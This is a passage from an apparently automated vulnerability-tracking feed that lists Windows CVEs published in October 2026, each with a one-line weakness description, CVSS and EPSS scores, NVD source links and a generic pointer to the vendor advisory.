Double free in Windows Error Reporting allows an authorized attacker to execute code locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83916).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83916&date=2026-10-25).
Sources:
NVD CVE-2026-83916: https://nvd.nist.gov/vuln/detail/CVE-2026-83916
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83916&date=2026-10-25
Double free in Windows Error Reporting allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Diagnostic Policy Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83915
Use after free in Windows Diagnostic Policy Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Diagnostic Policy Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83915).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83915&date=2026-10-25).
Sources:
NVD CVE-2026-83915: https://nvd.nist.gov/vuln/detail/CVE-2026-83915
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83915&date=2026-10-25
Use after free in Windows Diagnostic Policy Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft XML allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83914
Use after free in Microsoft XML allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Microsoft XML allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83914).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83914&date=2026-10-25).
Sources:
NVD CVE-2026-83914: https://nvd.nist.gov/vuln/detail/CVE-2026-83914
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83914&date=2026-10-25
Use after free in Microsoft XML allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83913
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83913).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83913&date=2026-10-25).
Sources:
NVD CVE-2026-83913: https://nvd.nist.gov/vuln/detail/CVE-2026-83913
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83913&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83912
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83912).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83912&date=2026-10-25).
Sources:
NVD CVE-2026-83912: https://nvd.nist.gov/vuln/detail/CVE-2026-83912
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83912&date=2026-10-25
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83911
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83911).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83911&date=2026-10-25).
Sources:
NVD CVE-2026-83911: https://nvd.nist.gov/vuln/detail/CVE-2026-83911
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83911&date=2026-10-25
Heap-based buffer overflow in Windows Storage allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in RPC Runtime allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83910
Out-of-bounds write in RPC Runtime allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in RPC Runtime allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83910).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83910&date=2026-10-25).
Sources:
NVD CVE-2026-83910: https://nvd.nist.gov/vuln/detail/CVE-2026-83910
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83910&date=2026-10-25
Out-of-bounds write in RPC Runtime allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Release of invalid pointer or reference in RPC Runtime allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83908
Release of invalid pointer or reference in RPC Runtime allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Release of invalid pointer or reference in RPC Runtime allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83908).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83908&date=2026-10-25).
Sources:
NVD CVE-2026-83908: https://nvd.nist.gov/vuln/detail/CVE-2026-83908
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83908&date=2026-10-25
Release of invalid pointer or reference in RPC Runtime allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83902
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83902).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83902&date=2026-10-25).
Sources:
NVD CVE-2026-83902: https://nvd.nist.gov/vuln/detail/CVE-2026-83902
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83902&date=2026-10-25
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83901
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83901).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83901&date=2026-10-25).
Sources:
NVD CVE-2026-83901: https://nvd.nist.gov/vuln/detail/CVE-2026-83901
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83901&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Release of invalid pointer or reference in DNS Server allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83889
Release of invalid pointer or reference in DNS Server allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Release of invalid pointer or reference in DNS Server allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83889).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83889&date=2026-10-25).
Sources:
NVD CVE-2026-83889: https://nvd.nist.gov/vuln/detail/CVE-2026-83889
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83889
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83889&date=2026-10-25
Release of invalid pointer or reference in DNS Server allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in HID Parser Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83877
Integer overflow or wraparound in HID Parser Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in HID Parser Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83877).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83877&date=2026-10-25).
Sources:
NVD CVE-2026-83877: https://nvd.nist.gov/vuln/detail/CVE-2026-83877
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83877&date=2026-10-25
Integer overflow or wraparound in HID Parser Library allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in DNS Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83869
Integer underflow (wrap or wraparound) in DNS Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in DNS Server allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83869).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83869&date=2026-10-25).
Sources:
NVD CVE-2026-83869: https://nvd.nist.gov/vuln/detail/CVE-2026-83869
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83869&date=2026-10-25
Integer underflow (wrap or wraparound) in DNS Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges...
https://kevwire.com/record/CVE-2026-83868
Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83868).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83868&date=2026-10-25).
Sources:
NVD CVE-2026-83868: https://nvd.nist.gov/vuln/detail/CVE-2026-83868
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83868&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83863
Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83863).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83863&date=2026-10-25).
Sources:
NVD CVE-2026-83863: https://nvd.nist.gov/vuln/detail/CVE-2026-83863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83863&date=2026-10-25
Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Partition Management Driver allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-83851
Heap-based buffer overflow in Windows Partition Management Driver allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Partition Management Driver allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83851).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83851&date=2026-10-25).
Sources:
NVD CVE-2026-83851: https://nvd.nist.gov/vuln/detail/CVE-2026-83851
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83851&date=2026-10-25
Heap-based buffer overflow in Windows Partition Management Driver allows an unauthorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83850
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83850).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83850&date=2026-10-25).
Sources:
NVD CVE-2026-83850: https://nvd.nist.gov/vuln/detail/CVE-2026-83850
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83850&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83848
Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83848).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83848&date=2026-10-25).
Sources:
NVD CVE-2026-83848: https://nvd.nist.gov/vuln/detail/CVE-2026-83848
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83848&date=2026-10-25
Untrusted pointer dereference in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Account allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83847
Heap-based buffer overflow in Microsoft Account allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Account allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83847).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83847&date=2026-10-25).
Sources:
NVD CVE-2026-83847: https://nvd.nist.gov/vuln/detail/CVE-2026-83847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83847&date=2026-10-25
Heap-based buffer overflow in Microsoft Account allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83846
Use after free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83846).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83846&date=2026-10-25).
Sources:
NVD CVE-2026-83846: https://nvd.nist.gov/vuln/detail/CVE-2026-83846
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83846&date=2026-10-25
Use after free in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper privilege management in Windows Internet (wininet.dll) allows an authorized attacker to perform spoofing locally.
https://kevwire.com/record/CVE-2026-83845
Improper privilege management in Windows Internet (wininet.dll) allows an authorized attacker to perform spoofing locally. (Oct 13, 2026).
Improper privilege management in Windows Internet (wininet.dll) allows an authorized attacker to perform spoofing locally.
CVSS 8.4 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83845).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83845&date=2026-10-25).
Sources:
NVD CVE-2026-83845: https://nvd.nist.gov/vuln/detail/CVE-2026-83845
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83845&date=2026-10-25
Improper privilege management in Windows Internet (wininet.dll) allows an authorized attacker to perform spoofing locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Internet Key Exchange (IKE) Protocol allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83843
Out-of-bounds read in Windows Internet Key Exchange (IKE) Protocol allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Internet Key Exchange (IKE) Protocol allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83843).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83843&date=2026-10-25).
Sources:
NVD CVE-2026-83843: https://nvd.nist.gov/vuln/detail/CVE-2026-83843
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83843&date=2026-10-25
Out-of-bounds read in Windows Internet Key Exchange (IKE) Protocol allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83842
Double free in Windows TCP/IP allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Double free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83842).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83842&date=2026-10-25).
Sources:
NVD CVE-2026-83842: https://nvd.nist.gov/vuln/detail/CVE-2026-83842
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83842&date=2026-10-25
Double free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83841
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83841).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83841&date=2026-10-25).
Sources:
NVD CVE-2026-83841: https://nvd.nist.gov/vuln/detail/CVE-2026-83841
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83841&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak authentication in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83840
